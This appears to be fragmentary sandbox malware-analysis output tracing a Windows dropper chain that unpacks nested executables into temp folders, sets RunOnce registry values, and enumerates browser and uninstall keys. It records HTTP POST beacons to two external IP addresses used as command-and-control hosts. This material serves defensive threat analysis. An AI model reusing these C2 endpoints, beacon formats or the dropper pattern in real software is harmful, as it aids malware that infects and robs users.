[%TEMP%\IXP002.TMP\4HS096BX.exe]- [targetUID: 00000000-00005636] "5Pa4Mj0.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\5Pa4Mj0.exe]- [targetUID: 00000000-00005648] "2Pm6119.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP004.TMP\2Pm6119.exe]- [targetUID: 00000000-00005932] "6tx9CA7.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\6tx9CA7.exe]- [targetUID: 00000000-00005704] "3qu90Pt.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386"- Location: [%TEMP%\IXP003.TMP\3qu90Pt.exe]- [targetUID: 00000000-00005660] "1fX89KT6.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\IXP004.TMP\1fX89KT6.exe]- [targetUID: 00000000-00005932]48:T47a,Found string "CheckTokenMembership" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: ADVAPI32.DLL) Found string "DelNodeRunDLL32" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: ADVPACK.DLL) Found string "HeapSetInformation" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: KERNELBASE.DLL) Found string "DecryptFileA" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: ADVAPI32.DLL) Found string "DoInfInstall" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: ADVPACK.DLL) Found string "SHBrowseForFolder" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: SHELL32.DLL) Found string "SHGetPathFromIDList" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: SHELL32.DLL) Found string "Extract" (Source: d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775, API is part of module: URLMON.DLL)49:T47e,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "VH4vX77.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "ro8sA21.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "DO2BB55.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "TK1xO34.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"")4a:T47e,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "VH4vX77.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "ro8sA21.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "DO2BB55.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "TK1xO34.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"")4b:T68f,"VH4vX77.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\VH4vX77.exe]- [targetUID: 00000000-00005648] "ro8sA21.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\ro8sA21.exe]- [targetUID: 00000000-00005636] "DO2BB55.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\DO2BB55.exe]- [targetUID: 00000000-00005636] "TK1xO34.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\TK1xO34.exe]- [targetUID: 00000000-00005932] "4HS096BX.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\IXP002.TMP\4HS096BX.exe]- [targetUID: 00000000-00005636] "5Pa4Mj0.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\5Pa4Mj0.exe]- [targetUID: 00000000-00005648] "2Pm6119.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP004.TMP\2Pm6119.exe]- [targetUID: 00000000-00005932] "6tx9CA7.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\6tx9CA7.exe]- [targetUID: 00000000-00005704] "3qu90Pt.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386"- Location: [%TEMP%\IXP003.TMP\3qu90Pt.exe]- [targetUID: 00000000-00005660] "1fX89KT6.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\IXP004.TMP\1fX89KT6.exe]- [targetUID: 00000000-00005932]4c:T6ba,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "VH4vX77.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "VH4vX77.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "ro8sA21.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "ro8sA21.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "DO2BB55.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "DO2BB55.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "TK1xO34.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "TK1xO34.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"")4d:T1006,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VH4vX77.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6tx9CA7.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "VH4vX77.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\ro8sA21.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "VH4vX77.exe" wrote 31744 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5Pa4Mj0.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ro8sA21.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\DO2BB55.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ro8sA21.exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4HS096BX.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "DO2BB55.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\TK1xO34.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "DO2BB55.exe" wrote 9728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\3qu90Pt.exe": 4d5aff000100000004001000ffff00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0a240000000000000000 ... "TK1xO34.exe" wrote 11776 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1fX89KT6.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "TK1xO34.exe" wrote 20992 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2Pm6119.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...4e:T729,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "VH4vX77.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "VH4vX77.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "ro8sA21.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "ro8sA21.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "ro8sA21.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "DO2BB55.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "DO2BB55.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "DO2BB55.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "DO2BB55.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "DO2BB55.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\3qu90Pt.exe" with delete access "DO2BB55.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\TK1xO34.exe" with delete access "TK1xO34.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "TK1xO34.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "TK1xO34.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "TK1xO34.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "TK1xO34.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "TK1xO34.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\2Pm6119.exe" with delete access "TK1xO34.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1fX89KT6.exe" with delete access4f:T499,OpenProcessToken RegOpenKeyExA RegDeleteValueA RegCloseKey RegCreateKeyExA FindFirstFileA GetFileAttributesA GetModuleFileNameA CreateDirectoryA TerminateProcess LoadLibraryExA CreateThread GetDriveTypeA LoadLibraryA GetTickCount GetSystemDirectoryA Sleep GetProcAddress UnhandledExceptionFilter LockResource CreateFileA GetTempPathA GetStartupInfoW DeleteFileA GetModuleHandleW FindNextFileA GetSystemInfo WriteFile FindResourceA GetTempFileNameA CreateProcessA GetVersionExA GetUserNameA LookupAccountNameA GetComputerNameExW GetCommandLineW VirtualAlloc ReadProcessMemory GetModuleHandleA GetVersionExW GetModuleHandleExW GetDriveTypeW IsDebuggerPresent GetCommandLineA VirtualAllocEx WriteProcessMemory CopyFileA CreateFileW DeleteFileW LoadLibraryExW GetThreadContext FindNextFileW FindFirstFileExW GetModuleFileNameW ShellExecuteA InternetOpenW InternetConnectA InternetOpenUrlA InternetCloseHandle HttpSendRequestA InternetReadFile InternetOpenA GetNativeSystemInfo FindResourceW GetTempPathW CreateDirectoryW GetSystemDirectoryW LoadLibraryW GetTempFileNameW ShellExecuteExW GetWindowThreadProcessId50:T47f,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "file") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "2Pm6119.exe.3559109532") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "2Pm6119.exe.3559109532") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001980.00000000.67166.002D0000.00000004.mdmp, 00000000-00001980.00000001.67889.002D0000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001980.00000000.67166.002D0000.00000004.mdmp, 00000000-00001980.00000001.67889.002D0000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001980.00000000.67166.002D0000.00000004.mdmp, 00000000-00001980.00000001.67889.002D0000.00000004.mdmp, 00000000-00001980.00000001.67889.0130A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002148.00000000.67082.00350000.00000004.mdmp, 00000000-00002148.00000001.69007.00D2A000.00000002.mdmp, 00000000-00002148.00000002.70125.00350000.00000004.mdmp")51:Te57,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "88Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=rqLSrJqHLVWTyVZzGZMMContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.88Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.124.1Content-Length: 97Cache-Control: no-cache"52:Te78,"2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "2Pm6119.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")53:T52c,"4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "4HS096BX.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")54:T6ef,"4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") 